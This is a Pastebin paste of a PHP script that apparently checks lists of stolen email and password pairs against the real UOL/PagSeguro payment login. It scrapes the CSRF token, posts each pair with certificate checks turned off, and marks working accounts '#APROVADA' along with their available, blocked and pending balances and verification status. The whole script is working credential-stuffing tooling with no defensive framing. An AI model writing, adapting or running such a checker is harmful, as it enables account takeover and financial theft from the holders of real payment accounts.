Advertisement
Guest User

Untitled

a guest
Mar 24th, 2018
677
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.23 KB | None | 0 0
  1.  
  2. <?php
  3. set_time_limit(0);
  4. error_reporting(0);
  5. function getStr($string, $start, $end) {
  6. $str = explode($start, $string);
  7. $str = explode($end, $str[1]);
  8. return $str[0];
  9. }
  10. $lista = $_GET['lista'];
  11. $separador = explode("|", $lista);
  12. $email = $separador[0];
  13. $senha = $separador[1];
  14.  
  15.  
  16. $ch = curl_init();
  17. curl_setopt($ch, CURLOPT_URL, "https://acesso.uol.com.br/login.html?skin=ps");
  18. curl_setopt($ch, CURLOPT_HEADER, 1);
  19. curl_setopt($ch, CURLOPT_NOBODY, false);
  20. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  21. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  22. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  23. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  24. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  25. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  26. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  27. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies/pagseguro.txt');
  28. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies/pagseguro.txt');
  29. curl_setopt($ch, CURLOPT_REFERER, 'https://acesso.uol.com.br/login.html?skin=ps');
  30. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  31. $d1 = curl_exec($ch);
  32. $token = getStr($d1,'type="hidden" name="acsrfToken" value="','"');
  33. curl_setopt($ch, CURLOPT_URL, "https://acesso.uol.com.br/login.html?skin=ps");
  34. curl_setopt($ch, CURLOPT_HEADER, 1);
  35. curl_setopt($ch, CURLOPT_NOBODY, false);
  36. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  37. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  38. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  39. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  40. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  41. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  42. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  43. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies/pagseguro.txt');
  44. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies/pagseguro.txt');
  45. curl_setopt($ch, CURLOPT_REFERER, 'https://acesso.uol.com.br/login.html?skin=ps');
  46. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  47. curl_setopt($ch, CURLOPT_POST, 1);
  48. curl_setopt($ch, CURLOPT_POSTFIELDS, 'dest=REDIR%7Chttps%3A%2F%2Fpagseguro.uol.com.br%2F&deviceId=&skin=ps&user='.$email.'&pass='.$senha.'&entrar=');
  49. $d2 = curl_exec($ch);
  50. curl_close($ch);
  51. if(stripos($d2, 'Comprar')){
  52. $ch = curl_init();
  53. curl_setopt($ch, CURLOPT_URL, "https://pagseguro.uol.com.br/account/wallet.jhtml");
  54. curl_setopt($ch, CURLOPT_HEADER, 1);
  55. curl_setopt($ch, CURLOPT_NOBODY, false);
  56. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  57. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  58. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  59. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  60. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  61. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  62. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  63. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies/pagseguro.txt');
  64. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies/pagseguro.txt');
  65. curl_setopt($ch, CURLOPT_REFERER, 'https://pagseguro.uol.com.br/login.jhtml');
  66. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  67. $d3 = curl_exec($ch);
  68. $token = getStr($d3,'type="hidden" name="acsrfToken" value="','"');
  69. curl_setopt($ch, CURLOPT_URL, "https://pagseguro.uol.com.br/login.jhtml");
  70. curl_setopt($ch, CURLOPT_HEADER, 1);
  71. curl_setopt($ch, CURLOPT_NOBODY, false);
  72. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  73. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  74. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  75. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  76. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  77. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  78. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  79. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookies/pagseguro.txt');
  80. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookies/pagseguro.txt');
  81. curl_setopt($ch, CURLOPT_REFERER, 'https://pagseguro.uol.com.br/login.jhtml');
  82. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  83. curl_setopt($ch, CURLOPT_POST, 1);
  84. curl_setopt($ch, CURLOPT_POSTFIELDS, 'dest=+REDIR%7Chttps://pagseguro.uol.com.br/hub.jhtml&skin=&acsrfToken='.$token.'&user='.$email.'&pass='.$senha.'');
  85. $d4 = curl_exec($ch);
  86. if(stripos($d4, '<div class="logged-user-info">')){
  87. if(strpos($d4, 'verificar conta')){
  88. $verificada = "Conta Não Verificada";
  89. }else{
  90. $verificada = "Conta Verificada";
  91. }
  92. $tipo = getStr($d4,'href="/account/viewDetails.jhtml" title="','"');
  93.  
  94. $disponivel = getStr($d4,'<dd id="accountBalance" class="positive">','</dd>');
  95. if ($disponivel == false) {
  96. $disponivel = "0,00";
  97. }
  98. $bloqueado = getStr($d4,'<dd id="accountBlocked" class="neutral">','</dd>');
  99. if ($bloqueado == false) {
  100. $bloqueado = "0,00";
  101. }
  102. $receber = getStr($d4,'<dd id="accountEscrow" class="neutral">','</dd>');
  103. if ($receber == false) {
  104. $receber = "0,00";
  105. }
  106. echo "<font color='#04B431' style='font-weight: bold;'>#APROVADA </font> <font color='00FF00'>$lista</font>
  107. | Disponivel: R$ $disponivel | Receber: $receber | Bloqueado: $bloqueado | Tipo: $tipo | $verificada";
  108. }else{
  109. echo "<font color='red' style='font-weight: bold;'>#REPROVADA </font> $lista";
  110. }
  111. }else{
  112. echo "<font color='red' style='font-weight: bold;'>#REPROVADA </font> $lista";
  113. }
  114.  
  115.  
  116.  
  117.  
  118. if (file_exists(getcwd().'/cookies/pagseguro.txt')) {
  119. unlink(getcwd().'/cookies/pagseguro.txt');
  120. }
  121.  
  122. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement